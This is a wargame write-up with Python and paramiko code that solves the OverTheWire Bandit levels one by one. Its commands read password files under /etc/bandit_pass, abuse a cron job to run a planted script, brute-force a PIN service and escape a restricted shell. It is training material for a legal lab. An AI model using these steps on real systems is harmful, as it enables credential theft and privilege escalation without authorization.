OverTheWire Bandit
Table of Contents
- About
- Setup
- Bandit0 => Bandit1
- Bandit1 => Bandit2
- Bandit2 => Bandit3
- Bandit3 => Bandit4
- Bandit4 => Bandit5
- Bandit5 => Bandit6
- Bandit6 => Bandit7
- Bandit7 => Bandit8
- Bandit8 => Bandit9
- Bandit9 => Bandit10
- Bandit10 => Bandit11
- Bandit11 => Bandit12
- Bandit12 => Bandit13
- Bandit13 => Bandit14
- Bandit14 => Bandit15
- Bandit15 => Bandit16
- Bandit16 => Bandit17
- Bandit17 => Bandit18
- Bandit18 => Bandit19
- Bandit19 => Bandit20
- Bandit20 => Bandit21
- Bandit21 => Bandit22
- Bandit22 => Bandit23
- Bandit23 => Bandit24
- Bandit24 => Bandit25
- Bandit25 => Bandit26
- Bandit26 => Bandit27
- Bandit27 => Bandit28
- Bandit28 => Bandit29
- Bandit29 => Bandit30
- Bandit30 => Bandit31
- Bandit31 => Bandit32
About
This script contains my efforts to script the solutions to the bandit challenges on OverTheWire. This makes heavy use of the paramiko module to run ssh commands
Requirements:
- sshpass
- pygit2
- paramiko
Setup
import base64 import gzip import itertools import json import os import paramiko import pygit2 import re import shutil import subprocess import sys import time import utils host = "bandit.labs.overthewire.org" ssh_port = 2220 credentials = {"bandit0": "bandit0"} def save(): with open('bandit.progress', 'w') as f: json.dump(credentials, f) def load(): global credentials with open('bandit.progress', 'r') as f: credentials = json.load(f) try: load() except: pass try: os.mkdir('working') except: pass print("Initializing ssh client") ssh = paramiko.SSHClient() ssh.load_system_host_keys() def connect(username: str): creds = credentials[username] if isinstance(creds, str): ssh.connect(host, ssh_port, username=username, password=creds) else: if os.path.exists(creds[0]): ssh.connect(host, ssh_port, username=username, key_filename = creds[0]) else: ssh.connect(host, ssh_port, username=username, password=creds[1]) def make_work_dir(): path = '/tmp/jaydlc' ssh.exec_command(F'mkdir {path} && chmod 777 {path}') return path def clone_repo(username: str): url = F"ssh://{username}-git@{host}:{ssh_port}/home/{username}-git/repo" creds = pygit2.UserPass(F"{username}-git", credentials[username]) callbacks = pygit2.RemoteCallbacks(credentials=creds) clone_path = F"./working/{username}/repo" try: pygit2.clone_repository(url, clone_path, callbacks=callbacks) except ValueError as e: if not "exists" in e.args[0]: raise return clone_path
Bandit0 => Bandit1
def bandit0(): print("Pwning bandit0") connect('bandit0') _, out, _ = ssh.exec_command('cat readme') credentials["bandit1"] = out.read().decode().strip() save()
Bandit1 => Bandit2
def bandit1(): print("Pwning bandit1") connect('bandit1') _, out, _ = ssh.exec_command('cat ./-') credentials["bandit2"] = out.readline().strip() save()
Bandit2 => Bandit3
def bandit2(): print("Pwning bandit2") connect('bandit2') _, out, _ = ssh.exec_command('cat "spaces in this filename"') credentials["bandit3"] = out.readline().strip() save()
Bandit3 => Bandit4
def bandit3(): print("Pwning bandit3") connect('bandit3') _, out, _ = ssh.exec_command('cat ./inhere/.hidden') credentials["bandit4"] = out.read().decode().strip() save()
Bandit4 => Bandit5
def bandit4(): print("Pwning bandit4") connect('bandit4') # Find only human readable file in the 'inhere' directory _, out, _ = ssh.exec_command('file ./inhere/*') file = [f for f in out.read().decode().split('\n') if 'ASCII' in f][0].split(":")[0] _, out, _ = ssh.exec_command(F'cat {file}') credentials["bandit5"] = out.read().decode().strip() save()
Bandit5 => Bandit6
def bandit5(): print("Pwning bandit5") connect('bandit5') # Find the file with the specified properties and read it _, out, _ = ssh.exec_command(r'find ./inhere/ -size 1033c \! -executable -exec cat {} \;') credentials["bandit6"] = out.read().decode().strip() save()
Bandit6 => Bandit7
def bandit6(): print("Pwning bandit6") connect('bandit6') # Find the file with the specified properties and read it _, out, _ = ssh.exec_command(r'find / -user bandit7 -group bandit6 -size 33c -exec cat {} \;') credentials["bandit7"] = out.read().decode().strip() save()
Bandit7 => Bandit8
def bandit7(): print("Pwning bandit7") connect('bandit7') # Find the file with the specified properties and read it _, out, _ = ssh.exec_command(r'grep millionth data.txt | xargs | cut -d " " -f2') credentials["bandit8"] = out.read().decode().strip() save()
Bandit8 => Bandit9
def bandit8(): print("Pwning bandit8") connect('bandit8') # Find the file with the specified properties and read it _, out, _ = ssh.exec_command('sort data.txt | uniq -u') credentials["bandit9"] = out.read().decode().strip() save()
Bandit9 => Bandit10
def bandit9(): print("Pwning bandit9") connect('bandit9') # Find the file with the specified properties and read it _, out, _ = ssh.exec_command(r'strings data.txt | grep -oE "= \w*" | tail -n 1 | cut -d " " -f2') credentials["bandit10"] = out.read().decode().strip() save()
Bandit10 => Bandit11
def bandit10(): print("Pwning bandit10") connect('bandit10') # Find the file with the specified properties and read it _, out, _ = ssh.exec_command('cat data.txt | base64 -d | cut -d " " -f4') credentials["bandit11"] = out.read().decode().strip() save()
Bandit11 => Bandit12
def bandit11(): print("Pwning bandit11") connect('bandit11') # Find the file with the specified properties and read it _, out, err = ssh.exec_command('cat data.txt | tr "A-Za-z" "N-ZA-Mn-za-m" | cut -d " " -f4') credentials["bandit12"] = out.read().decode().strip() save()
Bandit12 => Bandit13
def bandit12(): print("Pwning bandit12") connect('bandit12') root = os.getcwd() cwd = 'working/bandit12' try: shutil.rmtree(cwd) except: pass os.mkdir(cwd) os.chdir(cwd) sftp = ssh.open_sftp() sftp.get('./data.txt', './data.txt') sftp.close() os.popen('cat data.txt | xxd -r > data2.gz').read() utils.gzip_decompress('data2.gz', 'data3.bz2') utils.bzip2_decompress('data3.bz2', 'data4.gz') utils.gzip_decompress('data4.gz', 'data5.tar') utils.tar_decompress('data5.tar', 'data6') utils.tar_decompress('data6/data5.bin', 'data7') utils.bzip2_decompress('data7/data6.bin', 'data8.tar') utils.tar_decompress('data8.tar', 'data9') utils.gzip_decompress('data9/data8.bin', 'data10') with open('data10', 'r') as f: credentials["bandit13"] = f.read().split(' ')[-1].strip() os.chdir(root) save()
Bandit13 => Bandit14
def bandit13(): print("Pwning bandit13") connect('bandit13') root = os.getcwd() cwd = 'working/bandit13' try: shutil.rmtree(cwd) except: pass os.mkdir(cwd) os.chdir(cwd) sftp = ssh.open_sftp() sftp.get('./sshkey.private', './bandit14_id_rsa') sftp.close() credentials["bandit14"] = [os.getcwd() + '/bandit14_id_rsa'] os.chdir(root) save()
Bandit14 => Bandit15
def bandit14(): print("Pwning bandit14") connect('bandit14') bandit14_pass_file = '/etc/bandit_pass/bandit14' _, out, _ = ssh.exec_command('cat ' + bandit14_pass_file) bandit14_creds = credentials['bandit14'] passwd = out.read().decode().strip() if (len(bandit14_creds) == 1): bandit14_creds.append(passwd) else: bandit14_creds[1] = passwd _, out, _ = ssh.exec_command(F'nc localhost 30000 < {bandit14_pass_file} | xargs | cut -d " " -f2') credentials['bandit15'] = out.read().decode().strip() save()
Bandit15 => Bandit16
def bandit15(): print("Pwning bandit15") connect('bandit15') stdin, out, err = ssh.exec_command('ncat -v --ssl localhost 30001') print(err.readline()) print(err.readline()) print(err.readline()) print(err.readline()) print(err.readline()) print(err.readline()) stdin.write(F"{credentials['bandit15']}\n") out.readline() passwd = out.readline().strip() credentials['bandit16'] = passwd save()
Bandit16 => Bandit17
def bandit16(): print("Pwning bandit16") connect('bandit16') _, out, _ = ssh.exec_command('nmap -p 31000-32000 localhost') nmap_scan = out.read().decode() ports = re.findall(r'^[0-9]{5}', nmap_scan, re.MULTILINE) for port in ports: _, out, _ = ssh.exec_command(F'cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:{port} -quiet 2>/dev/null') response_header = out.readline() if "Correct" in response_header: rsa_key = out.read().decode() break try: os.mkdir('working/bandit16') except: pass file_path = 'working/bandit16/bandit17_id_rsa' with open(file_path, 'w') as f: f.write(rsa_key) credentials['bandit17'] = [os.getcwd() + "/" + file_path] save()
Bandit17 => Bandit18
def bandit17(): print("Pwning bandit17") connect('bandit17') _, out, _ = ssh.exec_command('cat /etc/bandit_pass/bandit17') creds = credentials['bandit17'] passwd = out.readline().strip() if len(creds) == 1: creds.append(passwd) else: creds[1] = passwd _, out, _ = ssh.exec_command('diff passwords.new passwords.old') passwd = re.findall(r'< .*$', out.read().decode(), re.MULTILINE)[0][2:] credentials['bandit18'] = passwd save()
Bandit18 => Bandit19
Trying to log in with the normal ssh
command will kick us out but with paramiko it’s pretty simple.
def bandit18(): print("Pwning bandit18") connect('bandit18') _, out, _ = ssh.exec_command('cat readme') credentials['bandit19'] = out.readline().strip() save()
The normal way would be to use the command: ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"
Bandit19 => Bandit20
def bandit19(): print("Pwning bandit19") connect('bandit19') _, out, _ = ssh.exec_command('./bandit20-do cat /etc/bandit_pass/bandit20') credentials['bandit20'] = out.readline().strip() save()
Bandit20 => Bandit21
def bandit20(): print("Pwning bandit20") connect('bandit20') port = 4444 _, out, _ = ssh.exec_command(f'nc -lnvp {port} < /etc/bandit_pass/bandit20 & sleep 2 && ./suconnect {port}') passwd = [x.strip() for x in out.readlines() if len(x) == 33][0] credentials['bandit21'] = passwd save()
Bandit21 => Bandit22
The cronjob script is catting the bandit22 password file into a file in the /tmp folder every minute
connect('bandit21') _, out, _ = ssh.exec_command('cat /etc/cron.d/cronjob_bandit22') out.read().decode()
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null * * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
connect('bandit21') _, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit22.sh') out.read().decode()
#!/bin/bash chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
All we have to do is read that file
def bandit21(): print("Pwning bandit21") connect('bandit21') _, out, _ = ssh.exec_command('cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv') credentials['bandit22'] = out.readline().strip() save()
Bandit22 => Bandit23
Another cron script for us to look at and exploit
connect('bandit22') _, out, _ = ssh.exec_command('cat /etc/cron.d/cronjob_bandit23') out.read().decode()
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null * * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
connect('bandit22') _, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit23.sh') "".join([x for x in out.readlines() if x.strip() != ""])
#!/bin/bash myname=$(whoami) mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget" cat /etc/bandit_pass/$myname > /tmp/$mytarget
Running this bash script with the myname
variable set to bandit23, we see that the output of the password file is being written to another temp file like the previous challenge.
myname='bandit23' mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
Copying passwordfile /etc/bandit_pass/bandit23 to /tmp/8ca319486bfbbc3663ea0fbe81326349
def bandit22(): print("Pwning bandit22") connect('bandit22') _, out, _ = ssh.exec_command('cat /tmp/8ca319486bfbbc3663ea0fbe81326349') credentials['bandit23'] = out.readline().strip() save()
Bandit23 => Bandit24
More cron scripts! Except now we have to write our own
connect('bandit23') _, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit24.sh') out.read().decode()
#!/bin/bash myname=$(whoami) cd /var/spool/$myname echo "Executing and deleting all scripts in /var/spool/$myname:" for i in * .*; do if [ "$i" != "." -a "$i" != ".." ]; then echo "Handling $i" owner="$(stat --format "%U" ./$i)" if [ "${owner}" = "bandit23" ]; then timeout -s 9 60 ./$i fi rm -f ./$i fi done
This script executes all script files in \/var/spool/bandit24/ Now we need to create our own script to be executed by the cronjob. We’ll just use a simple script to read the password file and put it in a temp file that we can read
def bandit23(show_progress=True): print("Pwning bandit23") connect('bandit23') path = make_work_dir() + "/24" script = f"""cat /etc/bandit_pass/bandit24 > {path} chmod +rw {path}""".encode() encoded = base64.b64encode(script).decode() script_path = '/var/spool/bandit24/jaydlc.sh' print("Sending over script to run") command = F'echo {encoded} | base64 -d > {script_path} && chmod +x {script_path}' ssh.exec_command(command) print("Waiting for one minute before reading password file") sleep_seconds = 60 _, out, _ = ssh.exec_command(f'sleep {sleep_seconds} && cat {path}') for remaining in range(sleep_seconds, 0, -1): if show_progress: sys.stdout.write('\r') sys.stdout.write('{:2d} seconds remaining'.format(remaining)) sys.stdout.flush() time.sleep(1) passwd = out.readline().strip() if show_progress: sys.stdout.write('\rRetrieved password! Password is ' + passwd) credentials['bandit24'] = passwd save()
Bandit24 => Bandit25
def bandit24(): print("Pwning bandit24") connect('bandit24') root = os.getcwd() cwd = 'working/bandit24' try: shutil.rmtree(cwd) except: pass make_work_dir() os.mkdir(cwd) os.chdir(cwd) combinations = "" # https://stackoverflow.com/questions/41642851/brute-force-using-python/41642913 numbers = '0123456789' for c in itertools.product(numbers, repeat=4): pin = ''.join(c) combinations += F"{credentials['bandit24']} {pin}\n" file_name = 'combinations.txt' with open(file_name, 'w') as f: f.write(combinations) sftp = ssh.open_sftp() remote_path = '/tmp/jaydlc/combinations.txt' sftp.put(file_name, remote_path) time.sleep(4) command = F'cat {remote_path} | nc localhost 30002 | grep password | tail -n 1 | cut -d " " -f7' _, out, _ = ssh.exec_command(command) passwd = out.readline().strip() credentials['bandit25'] = passwd os.chdir(root) save()
Bandit25 => Bandit26
def bandit25(): print("Pwning bandit25") connect('bandit25') root = os.getcwd() cwd = 'working/bandit25' try: shutil.rmtree(cwd) except: pass os.mkdir(cwd) os.chdir(cwd) sftp = ssh.open_sftp() sftp.get('./bandit26.sshkey', './bandit26_id_rsa') sftp.close() credentials["bandit26"] = [os.getcwd() + '/bandit26_id_rsa'] os.chdir(root) save()
Bandit26 => Bandit27
Unfortunately, after getting the ssh key for bandit26, I have not figured out a way to automate the pwning of 27 due to bandit26’s login shell being more
.
The manual way to do it is to make your terminal really small so that more
enters command mode.
In command mode, press v
to open vi, enter :set shell=/bin/bash
to override the shell environment variable, and then enter :shell
.
After the bash shell has spawned, enter the command ./bandit27-do cat /etc/bandit_pass/bandit27
and you should get the password for bandit27.
Bandit27 => Bandit28
def bandit27(view_output=False): print("Pwning bandit27") path = clone_repo('bandit27') repo = pygit2.Repository(path) with open(F'{path}/README') as f: contents = f.read().strip() passwd = contents.split(':')[1].strip() credentials['bandit28'] = passwd save()
Bandit28 => Bandit29
The password was originally kept in one of the files. If we look at the diffs between commits we are able to find the password.
From the command line:
git log | grep -E '^commit' | cut -d " " -f2 | while read line; do git show $line; done | grep -E '\+- password: [^x<]' | cut -d " " -f3
def bandit28(): print("Pwning bandit28") path = clone_repo('bandit28') repo = pygit2.Repository(path) for commit in repo.walk(repo.head.target): diff = repo.diff(commit.parents[0], commit).patch break matches = re.findall(r'password: (.*)', diff, re.MULTILINE) passwd = matches[0] credentials['bandit29'] = passwd save()
Bandit29 => Bandit30
The password is found in the dev
branch of the repository. You can find what branches are on the remote by running the command git branch -r
.
def bandit29(): print("Pwning bandit29") path = clone_repo('bandit29') repo = pygit2.Repository(path) branches = [b.decode() for b in repo.raw_listall_branches(pygit2.GIT_BRANCH_ALL)] #x=repo.lookup_branch('origin/dev', pygit2.GIT_BRANCH_REMOTE) repo.checkout('refs/remotes/origin/dev') with open(F'{path}/README.md') as f: contents = f.readlines()[-2] passwd = contents.split(' ')[2].strip() credentials['bandit30'] = passwd save()
Bandit30 => Bandit31
For this repository we have to read the secret
tag. From the cli: git show secret
.
def bandit30(): print("Pwning bandit30") path = clone_repo('bandit30') repo = pygit2.Repository(path) tag_name = 'secret' obj = repo.revparse_single(tag_name) passwd = obj.data.decode().strip() credentials['bandit31'] = passwd save()
Bandit31 => Bandit32
def bandit31(): print("Pwning bandit31") path = clone_repo('bandit31') repo = pygit2.Repository(path) with open(path + "/key.txt", 'w') as f: f.write("May I come in?") try: os.unlink(path + "/.gitignore") except: pass index = repo.index index.add("key.txt") index.write() out = os.popen( F"cd {path} && sshpass -p '{credentials['bandit31']}' git push origin master 2>&1").read() passwd = re.findall(r'password.*\nremote: (\w+)', out, re.MULTILINE)[0] credentials['bandit32'] = passwd save()